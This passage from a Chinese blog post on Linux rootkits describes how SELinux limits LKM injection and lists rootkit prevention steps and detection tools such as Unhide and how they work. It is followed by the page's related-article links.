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" alt="" />
在传统的安全机制下,Linux安全是基于自主存取控制(DAC)机制的,只要符合规定的权限,如规定的所有者和文件属性(读、写、执行)等,就可存取资源。一些通过setuid/setgid的程序就能形成严重的安全隐患,甚至一些错误的配置就可引发巨大漏洞,使系统被轻易攻击
而SELinux则基于强制存取控制(MAC),透过强制性的安全策略,应用程序或用户必须同时符合DAC 及对应SELinux的MAC才能进行正常操作,否则都将遭到拒绝或失败,而这些问题将不会影响其他正常运作的程序和应用,并保持它们的安全系统结构。
LKM 注入攻击一般是对/lib/modules/(uname-r)/kernel/下的模块文件进行修改,SELinux下的权限设置能限制对模块文件的修改,为模块文件的完整性提供保证,从而防止针对模块文件的 LKM注入攻击。同时 SELinux下的权限设置限制了恶意程序对/dev目录下文件访问和修改。由于进行了基于CAP_SYS_MODULE 权能的加载权限的检查,阻止了许多获取root权限后的恶意加载
Relevant Link:
论文: Linux 2.6 内核下LKM 安全性研究 徐敏,熊盛武
5. rootkit检测技术及工具
0x1: rootkit防御技术
on prevention
. Create MD5 checksums of critical system utilities
. Record all open ports
. Save copies of system utilities to floppy or CD-ROM
. Configure remote syslog hosts
. Introduce network logging
. Secure your systems (patch, administer, harden)
Detection
rootkit一般会集成很多的组件和功能,检测rootkit本质上就是在理解rootkit的行为的基础上进行针对性的分类、聚类、以及行为定性
. Trojan horse system utilities that prevent the system administrator from detecting attacker activity
. Back doors that allow the hacker to enter the system at will
. Log-wiping utilities that erase the attacker's access record from system log files
. Packet sniffers that capture network traffic for the attacker
. Other utilities that can be used for communication or further attacks
Relevant Link:
http://www.techrepublic.com/article/detecting-rootkits/
0x2: rootkit检测工具
. KsiD [Kernel Symbol Interception Detection]
http://www.rootkitanalytics.com/kernelland/ksid.php . Autodesk DWF Toolkit 7.7
http://usa.autodesk.com/adsk/servlet/index?id=823771&siteID=123112 . ElfStat
http://www.rootkitanalytics.com/kernelland/elfstat.php . Unhide
http://www.unhide-forensics.info/?Linux
Unhide是一个查找系统隐藏进程和TCD/UDP端口的小工具,利用rootkits/LVMS及其他隐藏技术实现。这个工具可以工作中Linux/unix和Windows系统下
unhide检测隐藏进程基于以下技术
) Compare /proc vs /bin/ps output
) Compare info gathered from /bin/ps with info gathered by walking thru the procfs.
) Compare info gathered from /bin/ps with info gathered from syscalls(syscall scanning)
) Full PIDs space occupation (PIDs bruteforcing)
) Reverse search, verify that all thread seen by ps are also seen by the kernel(/bin/ps output vs /proc, procfs walking and syscall)
) Quick compare /proc, procfs walking and syscall vs /bin/ps output.
unhide检测隐藏端口基于以下技术
) Identify TCP/UDP ports that are listening but not listed in /bin/netstat doing brute forcing of all TCP/UDP ports availables.
Copyright (c) 2014 LittleHann All rights reserved
Linux Rootkit Learning的更多相关文章
- Linux Rootkit Sample && Rootkit Defenser Analysis
目录 . 引言 . LRK5 Rootkit . knark Rootkit . Suckit(super user control kit) . adore-ng . WNPS . Sample R ...
- NSRC技术分享——自制Linux Rootkit检测工具
### 前言 Linux系统中存在用户态与内核态,当用户态的进程需要申请某些系统资源时便会发起系统调用.而内核态如何将系统的相关信息实时反馈给用户态呢,便是通过proc文件系统.如此便营造了一个相对隔 ...
- 小谈android/Linux rootkit(基于LKM)
最近又学习了一下,感觉还有好多东西不知道,以后积累多一点再从新写一个. 在android上捣鼓了一下linux的内核rootkit,虽然中途遇到了无数坑,至今也没有完全写完,打算先好好啃一段时间lin ...
- Linux imooc learning
https://www.imooc.com/video/3529 Windows Vs Linux Linux: (other linux overall https://onedrive.liv ...
- HORSE PILL--一种新型的linux rootkit
资料 ppt:https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux- ...
- Rootkit Hunter Sourcecode Learning
目录 . Rootkit Hunter Introduce() . Source Code Frame() . do_system_check_initialisation() . do_system ...
- I'm an artist who loves linux (转)
My father got me a computer for graduation with 512MB RAM and a Pentium processor. It came with Wind ...
- 2014/09/30 Learning Note
Vbird Linux: Vim Learning: http://linux.vbird.org/linux_basic/0310vi.php Bash Shell: http://linux.vb ...
- Linux应急响应思路详谈
一.主机篇: 1.自动化初筛,建议使用RootkitHunter (1)安装 $sudo wget https://jaist.dl.sourceforge.net/project/rkhunter/ ...
随机推荐
- zabbix登陆问题:cannot allocate shared memory for collector
问题说明:在一台zabbix被监控服务器上(64位centos6.8系统,64G内容)启动zabbix_agent,发现进程无法启动,10050端口没有起来! 启动zabbix_agent进程没有报错 ...
- 一篇搞定RSA加密与SHA签名|与Java完全同步
基础知识 什么是RSA?答:RSA是一种非对称加密算法,常用来对传输数据进行加密,配合上数字摘要算法,也可以进行文字签名. RSA加密中padding?答:padding即填充方式,由于RSA加密算法 ...
- codevs 3008 加工生产调度[贪心]
3008 加工生产调度 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题解 查看运行结果 题目描述 Description 某工厂收到了n个产品的订 ...
- 30Springd的包扫描——<context:component-scan base-package=” ”/>
在context中配置 如:在base-package指明一个包: <context:component-scan base-package="cn.edu.dao"/> ...
- 16SpringMvc_在业务控制方法中写入User,Admin多个模型收集参数——引出问题
上面文章时普通的业务那个方法中收集一个实体类,这篇文章想收集两个实体类. 文本要做的是:在person.jsp页面上,有两个表单.分别是普通用户和管理员用户的表单(普通用户的表单和管理员用户的表单里面 ...
- Android的Drawable缓存机制源码分析
Android获取Drawable的方式一般是Resources.getDrawable(int),Framework会返回给你一个顶层抽象的Drawable对象.而在Framework中,系统使用了 ...
- Git之分支创建策略
分支策略:git上始终保持两个分支,master分支与develop分支.master分支主要用于发布时使用,而develop分支主要用于开发使用. 创建master的分支developgit che ...
- [转]PHP 获取服务器详细信息代码
转自:http://jingyan.baidu.com/article/fdbd4277049c8bb89e3f4893.html 获取系统类型及版本号: php_uname() (例:Windows ...
- Activiti6.0 安装出错 log4j:ERROR setFile(null,true) call failed.
由于要选择一款合适的流程引擎,需要在jbpm和Activiti之间做对比,我这边负责Activiti的测试. 看到Activiti官网(http://www.activiti.org/download ...
- Linux第13周学习笔记
网络编程 客户端-服务器编程模型 每个网络应用都是基于客户端-服务器模型. 一个应用是由一个服务器进程和一个或者多个客户端进程组成. 服务器管理某种资源,并通过操作资源来为客户端提供某种服务. 基本操 ...